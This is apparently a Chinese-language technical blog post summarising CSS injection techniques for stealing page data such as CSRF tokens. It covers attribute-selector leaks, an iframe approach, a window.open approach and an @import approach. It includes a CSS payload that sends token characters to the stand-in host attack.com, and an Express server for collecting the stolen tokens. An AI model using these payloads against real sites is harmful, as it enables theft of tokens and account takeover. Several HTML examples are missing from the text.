CSS injection 知识总结

admin CSS 2022-02-05 22:44:32 CSS injection"

现代浏览器都已不允许在CSS中执行JavaScript了，以前的CSS注入可以利用JavaScript协议在 url() 、 expression() 中执行Javascript代码从而实现XSS。但是目前CSS注入在窃取数据方面仍然是非常有用的，下面分别来分析一下。

CSS 注入窃取标签属性数据

CSS中可以使用属性选择器，根据不同的属性选择标签。比如下面CSS选择含有a属性且其值为abc的p标签。

hello world

属性选择器还可以匹配值的一些特性，比如以XXX开头、以XXX结尾等。

利用上面的性质我们可以用来窃取页面标签属性中的数据。比如下面当csrfToken以某个字母开头时，就可以通过 url() 通知攻击者，从而窃取csrfToken的第一位的值。

第一位是Z，接着窃取第二位

解决hidden

当然还有个问题，当标签 type=hidden 时浏览器是不允许我们设置background的，这样就无法触发 url() 请求服务器。

解决方法之一是利用 ~ CSS的兄弟选择器，选择为后续所有兄弟节点设置background。

input[value^="Z"] ~*{
    background: url(http://attack.com/Z);
}

批量实现

当然，如果位数比较短且可能性比较少我们可以将其所有都列出来，但是通常都太多了，所以我们需要利用技巧批量得到。

假设目标存在css注入的网站为如下，目标是窃取input标签中的csrfToken值。




    CSS injection


>

有iframe

当存在CSS注入的网站响应头未被 X-Frame-Options 保护时，我们可以创建一个恶意的页面，利用js创建iframe包含该漏洞网站，利用css注入获得一位csrfToken值后通过 url() 提交给服务器，服务器指示前端js继续创建iframe窃取第二位值，继续上面的操作，直到全部读取完。当然这要求每次请求漏洞网站内容都不会变。

这里存在一个问题，服务器如何指示前端js构造css，就像我们上面举得例子窃取到第一位为Z，那么第二位的payload应该是Z开头的。

下面的payload 来自这里 https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d

它的思路是前端js使用setTimeout定时请求服务器，服务器将css注入得到的token返回。

服务器代码是我配合它的payload写得。

var express = require('express');
var app = express();
var path = require('path');
var token = "";

app.get('/receive/:token', function(req, res) {
    token = req.params.token;
    console.log(token)
    res.send('ok');
});

app.get('/return', function(req, res){
    res.send(token);
});

app.get('/client.html', function(req, res){
    res.sendFile(path.join(__dirname, 'client.html'));
})


var server = app.listen(8083, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

还有师傅通过服务器将token写入到cookie中，定时查询cookie是否改变来实现的。

还发现有师傅用websocket实现更优雅一些。 https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa

无 iframe

https://github.com/dxa4481/cssInjection 这里介绍了一种无iframe注入的方法。

原理也很简单，既然不能用iframe引入漏洞页面，那么我们可以通过 window.open 不断开启一个新的窗口，也就可以完成上述类似的效果。当然这种方法得劫持用户的点击行为，否则浏览器会禁止开启新窗口。

而且这篇文章还提出了无后台服务器的方案，利用service workers 拦截客户端请求将获取到的token值同时存在本地localstorage中。

@import

利用 @import 在chrome中的特性，https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b 这篇文章提出的这种方法。这种方法有种好处就是不会刷新页面就可以拿到全部token 而且不需要iframe，但坏处就是只能用在chrome中，而且根据它的特性必须在样式标签头部有注入才行。

除了常见的标签引入外部样式，css还可以通过 @import 。